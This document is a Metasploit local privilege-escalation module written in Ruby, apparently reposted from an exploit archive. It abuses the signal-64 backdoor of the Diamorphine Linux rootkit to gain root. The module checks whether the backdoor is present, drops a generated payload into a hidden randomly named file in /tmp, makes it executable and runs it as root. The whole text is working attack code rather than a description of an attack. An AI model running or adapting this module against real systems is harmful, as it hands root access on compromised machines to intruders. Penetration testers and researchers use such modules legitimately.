Diamorphine Rootkit Signal Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Diamorphine Rootkit Signal Privilege Escalation',  
'Description' => %q{  
This module uses Diamorphine rootkit's privesc feature using signal  
64 to elevate the privileges of arbitrary processes to UID 0 (root).  
  
This module has been tested successfully with Diamorphine from `master`  
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'm0nad', # Diamorphine  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2013-11-07', # Diamorphine first public commit  
'References' =>  
[  
['URL', 'https://github.com/m0nad/Diamorphine']  
],  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultTarget' => 0))  
register_options [  
OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def signal  
datastore['SIGNAL'].to_s  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload_and_chmodx(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
write_file path, data  
chmod path, 0755  
end  
  
def cmd_exec_elevated(cmd)  
vprint_status "Executing #{cmd} ..."  
res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s  
vprint_line res unless res.blank?  
res  
end  
  
def check  
res = cmd_exec_elevated 'id'  
  
if res.include?('invalid signal')  
return CheckCode::Safe("Signal '#{signal}' is invalid")  
end  
  
unless res.include?('uid=0')  
return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'")  
end  
  
CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.")  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
payload_name = ".#{rand_text_alphanumeric 8..12}"  
payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx payload_path, generate_payload_exe  
register_file_for_cleanup payload_path  
  
cmd_exec_elevated "#{payload_path} & echo "  
end  
end  
`